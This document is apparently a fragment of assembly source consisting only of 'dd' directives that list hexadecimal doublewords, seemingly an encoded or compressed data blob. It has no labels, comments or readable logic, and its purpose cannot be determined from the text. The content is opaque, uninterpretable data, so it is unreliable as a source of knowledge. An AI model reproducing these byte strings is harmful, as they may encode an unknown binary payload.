		dd 5D22FFBAh, 3AEDC904h, 318CCCC9h, 0F4E1C1F5h,	0F7B5A3E4h
		dd 0E4D461C1h, 0C1F1B5ABh, 0B3A4F4E0h, 60C1F3B5h, 61DCB4D4h
		dd 9D2249E0h, 71A5F5A4h, 64FDA0E5h, 0E57FA5FDh,	0FBF13923h
		dd 234D68E7h, 855724E7h, 0C7A0CDF8h, 0FA854F24h, 245C215Ch
		dd 0E131B5B4h, 0FDE7FCADh, 0DE147B5h, 55282D4Dh, 0EAE2C106h
		dd 95B3A7h, 3CD763CDh, 0C9C2D7DEh, 767E62Ch, 0AFC9CC55h
		dd 550F67C6h, 0E62FC9CEh, 0C8551727h, 7C6AEC9h,	0E94B317Ch
		dd 1527DC2Fh, 0A9E14955h, 2DAD27FEh, 0AE20756Ah, 0D6152FF9h
		dd 0A6E629C9h, 0C9D01537h, 0DFB41CA8h, 6D4BED7h, 0DA68A6C1h
		dd 5741E2D2h, 0D9E4AA2Dh, 99EAF478h, 0E602103h,	0E7EDD686h
		dd 29F7BAC7h, 13AF7E86h, 0DD85D7CEh, 0D1F7E2D1h, 72F32BFAh
		dd 7D2825B1h, 0F31E457Bh, 6841A5E7h, 0D7870ED2h, 9DFAC8BCh
		dd 51339F2Dh, 0E1E1EE4Ch, 99A4D426h, 3AB4D4B5h,	55537510h
		dd 5BD7E196h, 40802B61h, 2FE7E676h, 0B9B3411Fh,	94E3F453h
		dd 569FDAC5h, 3434EEF8h, 0E24899D9h, 5FC30329h,	9BF480FAh
		dd 0F4A4C360h, 0BAAF6195h, 9FB690ADh, 0C3C71DC8h, 81F60996h
		dd 0EFB6A56Ah, 62A3EBE0h, 0DCE78575h, 0D8704193h, 0C6646137h
		dd 0A395EA85h, 85CEE0E7h, 0A823BC2Eh, 84916EF4h, 17AFA0DFh
		dd 67BCBBC4h, 259C6283h, 61C3FCBFh, 8B8EF41Ch, 0F904C483h
		dd 223D68EDh, 2D9E0C49h, 756AA16Dh, 414879E3h, 0C7C944A5h
		dd 552D2DF6h, 8869F1B7h, 62615364h, 0BCF84565h,	0ACEE91C4h
		dd 52DE5A3h, 0C69CD820h, 0AD38F4EEh, 4D437211h,	0E891A4E7h
		dd 0ADF06355h, 756221E3h, 764FE045h, 8452FC80h,	714034E4h
		dd 7A769ABCh, 6DD7D1CCh, 0E7C68661h, 0D0D7852Ch, 0FBB6FC63h
		dd 0CC6567E7h, 4D742D45h, 1EDF4528h, 0BFB46373h, 0FC70CB83h
		dd 0E0B57AFCh, 79BD906h, 546B345Ah, 0BFAFA4AAh,	0E2C64522h
		dd 8B623F79h, 86A65C5Ch, 59E6B361h, 887E75A8h, 20B08D48h
		dd 6E15ED95h, 0F6FF496Bh, 0FDA8663h, 9140F7BBh,	0F1D239F4h
		dd 0E8B4D03Fh, 0F014C9E7h, 6254ED89h, 0F2FE9D4Dh, 9F781F66h
		dd 0A6D4E8EDh, 0C4B23FBBh, 0EC4EE05h, 0B96F45ACh, 24921AA4h
		dd 0E792C15h, 9A02E922h, 0E2A7FD9Dh, 16D7E22Fh,	1227B238h
		dd 79C4734Bh, 10F8ADE8h, 93DBBED6h, 75D7F574h, 0B686E374h
		dd 3A1CD476h, 0F1FFAAEh, 3BA5A693h, 0A1F8A19Eh,	0D0C47562h
		dd 75D7EAB4h, 6D59CC64h, 0E548CAB6h, 2BAA641h, 34891B45h
		dd 216EFAE5h, 0C5C44562h, 0AAA1E77Fh, 7A726879h, 7B8F3E01h
		dd 0AF6247D4h, 3B61698Fh, 0A1ABADE8h, 0FFC45560h, 6008567Fh
		dd 0CE8C959Bh, 0E4593144h, 0F6C1CFA0h, 39C535A1h, 0F7A9B6BAh
		dd 59286921h, 6E837FF9h, 0ADB520B1h, 0DC70DA30h, 0F2C1BB00h
		dd 0B454B494h, 2DAFFCAAh, 8580C15Ch, 26A8FE2Dh,	8ED14614h
		dd 0F4B2B4A9h, 0DED1CA84h, 0B4B1FC82h, 844C607Bh, 92CC8E3Fh
		dd 0F9F0A260h, 0B450B7A9h, 0B23CE7F3h, 5CAD50EFh, 35F2F371h
		dd 0B2BDC94Ch, 1C3581E6h, 42D4B5F4h, 0ADF904A4h, 0A767C477h
		dd 38BF83B6h, 63A7E6A1h, 0B3C5F4D2h, 9215956Bh,	0CDFA75BFh
		dd 41E24464h, 45A8E7B8h, 0B6FC98CFh, 907521F4h,	0D22E6485h
		dd 0DF767802h, 6211C5C9h, 0AD81CEA5h, 3AD99AAh,	63D185CEh
		dd 7675695Bh, 739BE1D2h, 8D23BD89h, 3C233CADh, 0F4EB8623h
		dd 5CB788E1h, 6CDF067Ch, 21E08E85h, 0E7F7F6E6h,	0E0215123h
		dd 1421409Ch, 7FB370C9h, 58554047h, 312D5C55h, 70D41295h
		dd 0B3EE746Ah, 5C28B0FCh, 0E2A1B867h, 2DCDE16Dh, 677D9D35h
		dd 22CC9A98h, 539DBF03h, 34B87731h, 0E538D8F9h,	0A2E7F9CEh
		dd 3EABC16Dh, 0F8326C11h, 0B060099Bh, 7BECDBE7h, 14F8C4FBh
		dd 0F538DC0Eh, 62A1B84Fh, 7300151h, 1824B3BAh, 0B7C987AEh
		dd 0BB46C714h, 0C22AFC20h, 0B7F44235h, 769913A7h, 27B22DCBh
		dd 0FD47F43Ch, 66B99CE1h, 7C47F9Bh, 0E7E56DE5h,	0A36949E5h
		dd 70F2C647h, 0CC9FE276h, 81AFB5BFh, 8F4E320h, 625A35C2h
		dd 0F7C46D9Dh, 99A17CFCh, 0E8AFC0ADh, 0A44C8000h, 0C18B95B9h
		dd 0D8F4E320h, 0E3DDB9D2h, 8F816DADh, 0B7F1C0C1h, 0B5333CB8h
		dd 0F6FB06CCh, 0F59788E1h, 78DE4AA9h, 608C7581h, 35F5E65Dh
		dd 0F0E853BEh, 10C7DFA6h, 0A68D7063h, 0DD1E25F9h, 0C16D95E2h
		dd 0F354FCF7h, 7BAA2634h, 0CEABC482h, 9FF7DE87h, 67E5ACF5h
		dd 0A4766BC7h, 16DF107h, 0E814BE7Fh, 0A1786704h, 0CE6FD0F3h
		dd 4EC7D987h, 6DF505EAh, 6CFCF7C6h, 44A7DBACh, 0ED792075h
		dd 0F7C36D95h, 47BFE7FCh, 82FA36FBh, 0D94095FCh, 0B5A6D42Eh
		dd 0C983E9FCh, 0AF692CE7h, 0C477817Bh, 0CF601740h, 0ABE7D080h
		dd 63E4A8B1h, 656E6C87h, 0B247F647h, 0F7C44CD7h, 15782D7Dh
		dd 0CEB7B8CFh, 9F9F39A4h, 23E4ABF4h, 756E6E97h,	53DEC847h
		dd 0B6D5BB64h, 25B066E8h, 0B94A810Ah, 6FA14650h, 0E069A361h
		dd 5893B4E0h, 2EE0C2B1h, 0E04121B4h, 0F7CE6DBDh, 4E935F17h
		dd 36D7CBE3h, 0F7535827h, 0F7B1A47Dh, 4B9AD46Ch, 6AB612BEh
		dd 0F7C977F5h, 33B26F17h, 76AAC07Ah, 0A1CD6FD0h, 0BD2CA80Dh
		dd 7261836Bh, 775EEE8h,	820761D3h, 0A633185Eh, 0A8109921h
		dd 20D173B1h, 0C45094DAh, 0A09E05E1h, 745EEA1h,	58E2A1C3h
		dd 0D77D70B7h, 9035B699h, 9E85C0C1h, 0D992A131h, 0FDC827B2h
		dd 0C099835Ch, 11336676h, 284864FDh, 1BD7D57Ch,	0DE9D83C1h
		dd 7D2E23AFh, 97CC3C37h, 0E3813CF7h, 80C16631h,	0ABFDF11Ch
		dd 1BD7D474h, 169F82D1h, 9A4B5283h, 0F366F5B3h,	0AE40CB0Fh
		dd 0F7D966BAh, 0ADE35CC7h, 0D4C47C2Dh, 84F7B98Dh, 9D17046Ch
		dd 0C7373CC1h, 0AD7129E7h, 9DA1A221h, 0FEB8288Ch, 4518B8Ah
		dd 51F07870h, 0C3F573C3h
		dd 0FBFCA0C1h, 0CFD935B1h, 0AF812DB5h, 0BD77B2DCh, 0DF528062h
		dd 5AD671A5h, 4AF5735Dh, 0FAE4AFF1h, 8675EE6Eh,	621323F6h
		dd 0C57EA42Bh, 0F7641FBCh, 0C406B6A1h, 0CCB79BA5h, 0C144C5E1h
		dd 0FF696861h, 3A83BFEh, 0DFFFD977h, 10BB75E4h,	7B04E15Ch
		dd 0F04CD7B0h, 3D12CBA0h, 0E97395h, 957BB642h, 0F0E3F4B6h
		dd 0EB230CADh, 7ED3A361h, 0CCE9ABB3h, 518C8C21h, 8AED33E7h
		dd 239DA424h, 814A4A31h, 0EEAD512Dh, 64F48655h,	0D5FB2318h
		dd 980AE760h, 0A1E575A5h, 0B5A0F9BBh, 0C546C434h, 0C70D47FCh
		dd 0FF908DC4h, 0D587E23Ah, 2B87F46Dh, 86752075h, 8FE8A7EDh
		dd 0E846D455h, 80B164DEh, 0A7C2AC5Ah, 4BC2E7D7h, 3AA792F6h
		dd 61EA8D55h, 0AF7C2D95h, 0D084D0BAh, 0CE043F6h, 212EC3DDh
		dd 88224909h, 0D327E62Fh, 16C24DB5h, 6F012D91h,	0EB22AB75h
		dd 85A1595Ch, 2D75E2EDh, 0F94475A1h, 74DFCCA2h,	69516AA2h
		dd 0AE70FC13h, 26504256h, 688325A6h, 0A0DDA869h, 0E59284C5h
		dd 83CC5393h, 0E1F17653h, 0B489608Ch, 84E5A57Eh, 1BD7DAC4h
		dd 38F7F2CDh, 48710FF9h, 5866F521h, 0A1913A84h,	7358EDA1h
		dd 9EDD1846h, 6AD2567h,	0E1EC2144h, 82C61522h, 76BBE16Eh
		dd 359DA688h, 0E4374FDDh, 0ADA15035h, 0A04358EDh, 0F35EEF99h
		dd 7D25E7C3h, 0C6A18C0Eh, 0F7BC8C3Bh, 0FC7BB4CDh, 0D7233B8Fh
		dd 0EDE8263h, 67942F03h, 65EE23A8h, 0B4ED285h, 0D63408C8h
		dd 0E4D33E2Ch, 0F93E89F7h, 0AF419961h, 6D156B99h, 99A5D7E0h
		dd 0A07C8BD5h, 206089DAh, 2D62E7A1h, 0F3358528h, 0F75F0992h
		dd 3FD385C4h, 0CC770DE6h, 0D1C88808h, 0EA50BCC7h, 627090BEh
		dd 0EB7C85CCh, 99443862h, 0EDF9C784h, 868C1D08h, 0A253FBC6h
		dd 83447662h, 8AA12D61h, 65834471h, 799DA62Dh, 6D59E3D4h
		dd 0A4A87D06h, 8EDC587h, 37416D39h, 0F4D23ABCh,	0E136E735h
		dd 0F5D41BB8h, 0E0A8A1ADh, 75ECA124h, 6EE0FC45h, 0B6D47491h
		dd 0FED8E0C8h, 0EDF1A604h, 35B1F3F8h, 74C60685h, 0FB56C7EFh
		dd 0DDF0BA76h, 0AFE0B1C7h, 0D21DA080h, 416A96Bh, 0B5E4DA72h
		dd 5CAC93B7h, 0D4FF92E1h, 0B0C6DF45h, 0E07DABE7h, 0E298234Eh
		dd 91717798h, 7994D70Ch, 0C849E357h, 8935E0A1h,	0E96DB5D0h
		dd 0EDA3ACF7h, 0A1DEF0BAh, 451BA3B3h, 4582A439h, 4C2E01B5h
		dd 3875E298h, 0F3E3BCE1h, 575ECA1h, 0A202CBC0h,	0AC0B8E1h
		dd 1FBCD6C4h, 0C36F7283h, 2C1D7EAh, 26088ADFh, 0C1C034A3h
		dd 9130C0B5h, 0B856ABD2h, 87F7EBF4h, 323192Fh, 0B4D8EC98h
		dd 0DF9BDCFBh, 0CFCB14D7h, 91EEF8B5h, 0DF0514E5h, 0A1F707D6h
		dd 3EE2C545h, 0F049C7C7h, 0F76DADAFh, 0B54DE5F7h, 0D765331Fh
		dd 0A63ECE99h, 4A8E7BEDh, 9CCC5B0h, 55A5405Bh, 0F36DADC9h
		dd 9F61A5E7h, 0F724F287h, 0AF3E8C9Eh, 60609B3Fh, 7AD0C541h
		dd 61651C67h, 682D81AFh, 0C5944A83h, 0F767F2C7h, 0A819AF9Eh
		dd 251A68EDh, 6D6D8851h, 20D5C7F1h, 6FBEF885h, 85A81091h
		dd 0E761CAE5h, 7AC07CCAh, 4AC7A0B2h, 8C085B4h, 41A40032h
		dd 0E8ED72D9h, 85029203h, 811633DFh, 75F983BBh,	4AC763ADh
		dd 7ED48588h, 4D243A78h, 74EDB93Eh, 7B64D4A3h, 0D766AD3Dh
		dd 0DF859C10h, 0E6D72233h, 0ADE5C665h, 5D60D732h, 152DEC84h
		dd 0C749A0F7h, 0E7052DC9h, 0F645452Bh, 6DD770ADh, 2DA5297Dh
		dd 75ADC714h, 0EDEDE7C5h, 4165E7B1h, 0D7BD6DAFh, 0B4E159E5h
		dd 0E6D7A5ADh, 0ADF28649h, 4D65A1D9h, 65ADE4C7h, 0EE4D63C7h
		dd 0F7652D8Ah, 0ED4665E9h, 0E9C727EDh, 0EDB4E159h, 7D6DBFE5h
		dd 0A43ACBC5h, 0C4716DF7h, 0D7D537CDh, 0EFC5B85Bh, 0A5C7B56Dh
		dd 0AD34C165h, 7F7530ECh, 26EDE1C4h, 0A16965B3h, 9320F689h
		dd 0AFA14965h, 498562EDh, 321261C4h, 6925D7BBh,	0B5BC92A1h
		dd 0C74D25F7h, 0F766ADFCh, 0E74669E9h, 0B0F7D3F4h, 8CF9C554h
		dd 6966D7F3h, 0E6ADBB77h, 0F971A2C7h, 0E7052DA2h, 0ECC57DE9h
		dd 0E5E7446Dh, 0ED965A75h, 752DF751h, 242DE0C5h, 678BFC7h
		dd 0C7052DD2h, 0A0EFBC9Ah, 0AD2198ADh, 0BCDFC451h, 5964A3C7h
		dd 58AD93E3h, 45647D63h, 0D766ADD1h, 0DC477DEDh, 0E9A1FA84h
		dd 6DFA4641h, 68B49D7Bh, 0A1FCEA85h, 4471EDD7h,	305FEDEDh
		dd 0FB856DE1h, 0F531A1E4h, 70F3C7CBh, 652241ABh, 20F4FD85h
		dd 857035D7h, 10C7F4FEh, 0C2857634h, 35D7E0DCh,	0F4F68540h
		dd 48B45159h, 63F4FE85h, 0EFE934C7h, 0A1C3D48Dh, 0F685D0F4h
		dd 742252F4h, 0F4FE85D8h, 0C0B5F762h, 0E5EDF9C4h, 0C6E3F5AFh
		dd 611B74EDh, 0EA85D437h, 0E4C744EDh, 6DA8004Dh, 75A7E776h
		dd 0BCF044AAh, 0FC04AAB4h, 119710EFh, 64D1997Ah, 44B1A4B7h
		dd 3616FDDCh, 6480D7E7h, 217FD044h, 5616AA1h, 0F7D3C0C5h
		dd 0D784616Dh, 0E690BD36h, 77A2EF45h, 65E4F068h, 53B64A50h
		dd 0C5F40DF7h, 0F7156DEEh, 0F64645E9h, 6DF7D9BFh, 33D48441h
		dd 8528E711h, 0C1997CBh, 0C6CC343h, 5184877Eh, 0A6ECD9C3h
		dd 0E7E7956Dh, 2DDF0569h, 0F87A7147h, 8E77E286h, 6F51E071h
		dd 511FBB88h, 0DAC66DE6h, 0D70D92Dh, 0ADB07EDCh, 7166D7E7h
		dd 872DD984h, 0AA4162F7h, 413EADA4h, 0DA0565EDh, 2AD71A2Dh
		dd 0EDDF4641h, 0E87E0FCCh, 0D4645903h, 0A2F539A5h, 436D14F9h
		dd 0D66DCA7Bh, 0AD8159FFh, 7CE60665h, 652461AAh, 0B49774CCh
		dd 0ACFB0175h, 553CA7FAh, 0DA2CF903h, 0D55048Fh, 47FAAFF9h
		dd 0F8DBC729h, 8C0FDDC6h, 4FDC0A51h, 0D7E6F6A1h, 0C585E495h
		dd 0D5F7E337h, 6DE7046Ch, 6923F71Fh, 842DDA05h,	47DE9E7h
		dd 0F786ADC2h, 0A12CCCFAh, 7B7349B7h, 0B7AC560Fh, 0CB92C2ECh
		dd 4987BE57h, 4C8D2E73h, 0C711F4A0h, 692F8FE5h,	0CDE78AEDh
		dd 71CC05EBh, 5DE6D0BCh, 0C3F1DFC6h, 75D44A41h,	0F72979BDh
		dd 0D5C74168h, 612125ADh, 6DECC575h, 7965E7F3h,	0E1B4D1C4h
		dd 2D6166D7h, 0F702AD97h, 0FE849F19h, 292011ADh, 0EDC00659h
		dd 59ECC7D2h, 0D62DA9ECh, 440C98F7h, 0E7FF2DDAh, 0EA0441E5h
		dd 0EFF7FCB7h, 0EDA5C369h, 41A3E7F1h, 0FEEDC0C7h, 85A458ECh
		dd 3CD832FEh, 0EC0659ADh, 0EAE7BC6Dh, 6D9EE359h, 45A09305h
		dd 0AFEDDE46h, 0C674FCD7h, 0E77FEDE1h, 0B0B771E5h, 0A1009241h
		dd 41B0A47Dh, 592B60DEh, 0F8EDF006h, 8C55ECF7h,	0F2852D9Dh
		dd 0D0464522h, 6DD7F1ADh, 2DFD0571h, 0D801D7C1h, 0DC2DF306h
		dd 85512211h, 0E7F171DBh, 0CC06756Bh, 0E2320F4Ch, 81C9C590h
		dd 716DD271h, 55ADF846h, 1751A5E7h, 11A6ED80h, 0A296E872h
		dd 0A9C7C5EDh, 21ECC690h, 0B968F491h, 862DE284h, 468723A1h
		dd 9D41ADD9h, 8EECA8ECh, 75F7602Dh, 81C946B4h, 4567F7CBh
		dd 0E5ADE407h, 2C4DE9D7h, 0F0C83797h, 0E046F403h, 75F7136Dh
		dd 2D9AC910h, 4524D7B8h, 5FEDEB44h, 4416BE2h, 0F49121ECh
		dd 0B05E9968h, 62D73041h, 41F084A4h, 0F09BE88Fh, 31EDC804h
		dd 5516BE7h, 726CEDEAh,	97972F6Eh, 0A5EE4A32h, 2D8E375Dh
		dd 81EBF7E6h, 5ED3B76h,	0B42C2983h, 0CA917783h,	0BBB41E68h
		dd 3E8C08B1h, 0EDC1C4B4h, 41E0E2C0h, 35F38677h,	965DE5E7h
		dd 82D5B99Dh, 0C1C4D45Bh, 63E7E3EDh, 0EDF54675h, 752DB017h
		dd 7130E784h, 0F261A9D7h, 0D7D8EDADh, 0A4CF6DECh, 7821D030h
		dd 38C085A4h, 1735E7E0h, 3BEDCE07h, 338DBE91h, 30D230E7h
		dd 0E3C679EAh, 6D9C9FEDh, 0ADABD461h, 65E0618Ch, 0DC2DA72Fh
		dd 847D6D31h, 0C714EDEDh, 0C9C555A1h, 14C7F881h, 30E3C584h
		dd 5DA943CCh, 860D184h
		dd 9D7529A4h, 0A1B66DAEh, 11BDF89Bh, 0A241C9DBh, 6DE0C555h
		dd 79A2E758h, 8FADF3C5h, 575562E0h, 0D070ADBBh,	0F2FC99BEh
		dd 74432A3h, 0B38E6AB4h, 0BFC2A254h, 0A538C306h, 0C541A2E7h
		dd 0D7DFADF3h, 0B1315DA5h, 606EAAC8h, 0B9FE4694h, 5560E0F3h
		dd 0FFB1BD57h, 4417C9D7h, 62E079C9h, 4132456Bh,	6B60FE53h
		dd 39F68661h, 0BA06E7B3h, 0C4EDE4C6h, 0EC59ACE7h, 0C7352D8Ch
		dd 9D265DA0h, 0A3D7616Dh, 0ADE84604h, 0B462A21Ah, 0C6ADCDC4h
		dd 0C710CAF7h, 0E7D3ADE8h, 0FBC5716Bh, 3EE15AADh, 6DA82DECh
		dd 49E0A1E0h, 0DF6D95F9h, 847128F7h, 0E7FF35DBh, 0FB8561E7h
		dd 0EEE7B438h, 0F0EC8465h, 87CAE7C9h, 6F6DE346h, 7C10C5E7h
		dd 901CAD91h, 0C1C53CC8h, 84D15AADh, 0D3593EA4h, 71AA789Bh
		dd 0CCC2A619h, 471255E7h, 34A1ADF8h, 0C5C7B254h, 97F7C6C2h
		dd 0AD9D7981h, 71270CE9h, 2B6D6E19h, 5EE0C002h,	31DCFA90h
		dd 0E0047160h, 0E0F7DFEDh, 738EC369h, 55A4C760h, 9CAD519Bh
		dd 468082E7h, 3A62DF2h,	0D407840Bh, 0E8D7C103h,	2D48BE2Ch
		dd 854803A6h, 2E2DFB46h, 39028B52h, 0D211EDFBh,	593B9484h
		dd 62E2FDD3h, 0EDE0063Ch, 49A0E7C6h, 70EDA4F2h,	3B552EC7h
		dd 0F705B056h, 72C16125h, 0E0E7DAF2h, 6DE50741h, 2475B365h
		dd 0CCC2D5C6h, 440407D7h, 0C7856DE3h, 0FF0570CDh, 0A0E7DFC4h
		dd 3BC0C54Dh, 0CB74C7FFh, 0DF2D95F9h, 6179E9D7h, 2EACAD59h
		dd 0C38465EAh, 0A3B17571h, 8BAAD759h, 0C4CF764h, 3F31E3C5h
		dd 457CFC50h, 0C705F4DCh, 83D25DA3h, 82A14AADh,	0F798808Ch
		dd 596BE7E3h, 11359BB4h, 565A183h, 0E7E874E1h, 0D905C4BDh
		dd 0C4BF78FBh, 6DBDD2FCh, 0E472C20Bh, 9FADFB05h, 0C951EED7h
		dd 0E786ADB0h, 0ED457523h, 2BE7856Dh, 0BEF98745h, 6161E78Dh
		dd 70F4E605h, 4F4BAD7h,	0E7883BF6h, 0CD0744BFh,	77F7F5F4h
		dd 7CCA87F4h, 0FC4A81C4h, 0A0EDE1C4h, 0D275EBA1h, 0D7EAF3B2h
		dd 0CBC67C3Fh, 0B6D1DFFBh, 3699B76Ch, 24579111h, 0C304ED46h
		dd 305D2CA1h, 0C7D9AD58h, 9E2C49E5h, 0A5F7DC34h, 0EDFF046Dh
		dd 49A4E71Fh, 0B8EDA402h, 0CD61E4C7h, 0E738EDA1h, 0EF047165h
		dd 6BA11BEDh, 0ADD3C565h, 7438C7E4h, 0AEB49EA1h, 8565E460h
		dd 61ECBCC3h, 862265A4h, 32D72FFCh, 0AD98A058h,	71A9C724h
		dd 2572FAC5h, 238C6793h, 0C7DF74ABh, 60F75923h,	0A0F7FB2Dh
		dd 8FF73338h, 4DA0D2FDh, 0E6AD90A0h, 0B2ECC1C7h, 0F707B19Ah
		dd 0F4C749E9h, 0A9C7252Dh, 2DDB0549h, 0C0D5E778h, 61AD99C9h
		dd 0C679AA13h, 0B30EEDE6h, 8CE879A2h, 0EDD7652Dh, 0EDE6466Dh
		dd 456AF705h, 0AFADD7C5h, 4771EAD7h, 0F7EC2DDAh, 0D84755ACh
		dd 6D906C6Dh, 6DDFC679h, 41ED5D45h, 79EDE146h, 0C76925E7h
		dd 0D7252DC5h, 0F0C645E5h, 2EA13277h, 77B0AF4Dh, 0CC2EE786h
		dd 0C86DB5AFh, 2F45E163h, 63892D75h, 850F612Ah,	0E75383EDh
		dd 6DEF8661h, 796DE764h, 746DEFC5h, 0C745E5F7h,	0C7A5ADE2h
		dd 0EDC5EC88h, 4D41937Fh, 77E8C6FCh, 0D70D4185h, 2A67F6C6h
		dd 0EE5961B1h, 7F1237F2h, 0AF6E71E5h, 4DC71477h, 6D83CFD8h
		dd 0E44E4501h, 0E43700AEh, 0E9CC4B2Dh, 0D7C77FAAh, 462EC5CCh
		dd 4C7DCB6Dh, 7FFCC744h, 444CF7C5h, 0F97FFC04h,	44444CF7h
		dd 0F7FD7FFCh, 0EBC4F74Ch, 3BF7DC6Dh, 2DC1C798h, 756B23FDh
		dd 0BDF08B48h, 48752B21h, 21BDF08Eh, 954875EAh,	0AA23FD2Dh
		dd 2D914875h, 756A23FDh, 0FD2D9D48h, 68B02613h,	0F7862D99h
		dd 6674D4F8h, 0E5D7D9EDh, 67F00645h, 0F78ED71Ah, 0D17FFCC6h
		dd 46744CF7h, 11447FCh,	0B5ACE420h, 1E6D516Dh, 37FFAEEDh
		dd 6C4A3BCAh, 5D0FFFAEh, 0C7D11E63h, 0D7A9ADD1h, 0DC04D49Ch
		dd 0CDE7DAEDh, 67ED4576h, 512571C1h, 6877F606h,	0C4C48C80h
		dd 1DCF6DDAh, 0D18641AAh, 2EC7DB7Fh, 67790E79h,	0CA8FF79Bh
		dd 0F647C945h, 0F3467C7h, 0E7C1C1BBh, 0A5554D20h, 6FE26F6Dh
		dd 37B3554Dh, 0C0C8E725h, 5E77A8AEh, 465B57E7h,	0D749CECBh
		dd 849599A4h, 8EAB206h,	2D8BEFCDh, 47D4E2BFh, 0F6E1F2C7h
		dd 6A9D20ECh, 167E627h,	8AEF512Bh, 424D862Dh, 74817CD0h
		dd 9662C420h, 0E4F9CF06h, 0C51424D7h, 0D7E0F9FAh, 0FA851424h
		dd 24D7ECF9h, 0F9FA4514h, 0A324D72Ah, 0FCEDB968h, 48652423h
		dd 23FCEDBDh, 0B1486564h, 0B803FCEDh, 0EDB568A0h, 1CF803FCh
		dd 0BC30D5C7h, 68E08311h, 31BC34ABh, 0BA68E003h, 0F831BCF3h
		dd 4EC4ABC0h, 5960E862h, 22AD8595h, 9559E2E2h, 0FC226DA1h
		dd 84B4D11Eh, 220553B9h, 26D67713h, 0BDEEAA32h,	0B23EE5AAh
		dd 6CD18375h, 75BAA7D0h, 0F0EFD18Dh, 0E9E7DE7Fh, 67C7AF4Dh
		dd 41E5694Fh, 0ED7F9192h, 0C7E64EB1h, 0F7E100DDh, 0FC051478h
		dd 78F7FD38h, 27FDAE24h, 0E94B65DDh, 0E527DDB2h, 0A9E55525h
		dd 152218F0h, 0D669D997h, 0EBD7E5E3h, 2DB59241h, 4169A293h
		dd 932DA592h, 92416EA2h, 0A2936D95h, 8592416Fh,	0D3BC936Dh
		dd 0A6D468C1h, 0C1DD35BBh, 8366F4EBh, 9247DF35h, 0AC182D5Ah
		dd 0FFC661A5h, 0CAF7E177h, 669FF508h, 0F51E0555h, 5D26FFAEh
		dd 2AED5B05h, 0C46526DFh, 0FFB5AD65h, 0E9C7C7C1h, 6DE87565h
		dd 1010D7EBh, 0AAE1D075h, 1E612DEAh, 2C727F91h,	0D48755ECh
		dd 4CC1D53Bh, 3BD446C4h, 95A3E4F2h, 0FAA2FC74h,	0F795ADE4h
		dd 243061F1h, 0D5B4971Dh, 0E925E461h, 0A2FCF685h, 7D266DDBh
		dd 60ADA181h, 817D21A3h, 0A360ADB1h, 81817D20h,	23A360ADh
		dd 0AD9A817Dh, 0B12A3C32h, 0A0E0E8F1h, 71B134B4h, 3583E0C8h
		dd 3DB85FDFh, 0EFA3606Dh, 6D95817Dh, 41A9A360h,	0BD665821h
		dd 30E118B4h, 958226D4h, 0FEAAB12Fh, 25E77F44h,	2DD54445h
		dd 6DEB5D2Eh, 0BCB4D245h, 0C7716561h, 0E7F82DD3h, 0D8C76960h
		dd 0ACF7CAEDh, 0EDA62D59h, 4DE1E7B8h, 0DFEDE144h, 457DEDD7h
		dd 0D7B3B4D2h, 0D94471EDh, 0A0C7E52Dh, 2DD44645h, 716DBD9Ah
		dd 282DC1C4h, 0C541A261h, 0E7F1ADF3h, 0C2C5516Bh, 0C5A35AEDh
		dd 0F4F4C4D0h, 6565D7DFh, 0DCAD586Fh, 85D08DF7h, 915F2DDAh
		dd 0DCC54D6Bh, 0A7F7003Ch, 2DA6025Dh, 6963C770h, 0CBED902Fh
		dd 658FAD7h, 0F7CEEDF0h, 9F426DECh, 0C0B35C6Dh,	0ADE9C748h
		dd 79A5E7ECh, 452DE406h, 4575A26Dh, 31676DEFh, 0E1C561E9h
		dd 2141E16Dh, 0AD10AC75h, 79A5F71Eh, 0CC6D6820h, 4C5DA7E7h
		dd 0F7078412h, 0DA074DE5h, 2AC75A2Dh, 0EDE6045Dh, 65EDD7D1h
		dd 292DDA06h, 0AC5DE9C7h, 0E78FEDA1h, 0E4C5E0E5h, 13D7F86Dh
		dd 2DD9C4E0h, 75E643BDh, 732DC1C7h, 2DC8CC71h, 0D721B7BCh
		dd 912D48CFh, 6BD765ADh, 6DE8C651h, 652AD7B5h, 95ED4EACh
		dd 0C4E03FE7h, 75482DDBh, 0D30651E1h, 8E418367h, 0B7AB9352h
		dd 59E1C786h, 0CEADFE06h, 4476C291h, 0E729B7D1h, 0E1C74DE9h
		dd 65E7ECADh, 6DEE8469h, 65E9F7D3h, 0F0B4CE46h,	6F88AE7h
		dd 7F702DE7h, 0EFC74DA4h, 0E9C705EDh, 0EDDDC561h, 59A2E793h
		dd 976DE1C6h, 8461A2E7h, 0D7B8D6E5h, 0FDC5496Bh, 6DD7302Dh
		dd 2DE4C669h, 7DE4E71Dh, 7F6F884h, 75965C7h, 924E47E6h
		dd 0EE0569AAh, 6AB33B2Dh, 2DD4C769h, 0DB4DF71Ah, 54EDD6C6h
		dd 0C5F455C7h, 0C79D6DE4h, 0F904F3CCh, 0CC51E8EDh, 86EB86EBh
		dd 0E07BC7A5h, 382DC3C7h, 471EDA3h, 0D1722DE1h,	0A62E6560h
		dd 0E1C7072Dh, 0EDDD0655h, 7DA2E7D3h, 1EBFC405h, 865566E7h
		dd 0D72CADD1h, 0E446780Ch, 0E4E7DF2Dh, 0EDB04851h, 712863BDh
		dd 2EDA308h, 4649A863h
		dd 0E1726DF3h, 0DBC4EECBh, 5C23FC2Dh, 56F90650h, 0CF1CE7DAh
		dd 0C0ED90E1h, 46C4BAE1h, 0C7A92DC1h, 0E8C7483Ah, 0FAD7C1EDh
		dd 2DD5C748h, 0E7DEF78Dh, 0C7ED8E33h, 5C89161h,	0C7392DD7h
		dd 0E5074121h, 0B2D7E7EDh, 2DD405C8h, 0DC7ED739h, 56EDE6C6h
		dd 0AD75E0F7h, 0D7ADED94h, 0BFEDD8B2h, 0A4D7B8F7h, 0F6817D71h
		dd 75242B0Eh, 72EDE76Ah, 0BD453F7h, 0F7A6ED4Eh,	0D447EBDEh
		dd 6AF79546h, 6DE8C56Dh, 0D46DE7E6h, 0AB6D6C0Bh, 0C571EDD7h
		dd 0E7E446D8h, 8DF5ACE6h, 0B2D7C5ADh, 6DE94644h, 649B53ADh
		dd 0E4AD5095h, 854563C7h, 0D715ADFDh, 0E54565EDh, 0EF1F15EDh
		dd 0BE422B51h, 71E5A392h, 7F3CC787h, 62A8A1D7h,	0D72E6D85h
		dd 8ECD6CC7h, 66D7DF78h, 0FFA9C149h, 51657FE2h,	0DFF7682Ch
		dd 9459EDE7h, 0A11B2DA6h, 0CBC628A3h, 6B617177h, 0F4AE694Dh
		dd 4968E718h, 2DE585h, 0C44560F0h, 61B1B6CCh, 0E0847925h
		dd 25D7976Dh, 6DF7C775h, 7DA08338h, 72DBC2Eh, 85F440C7h
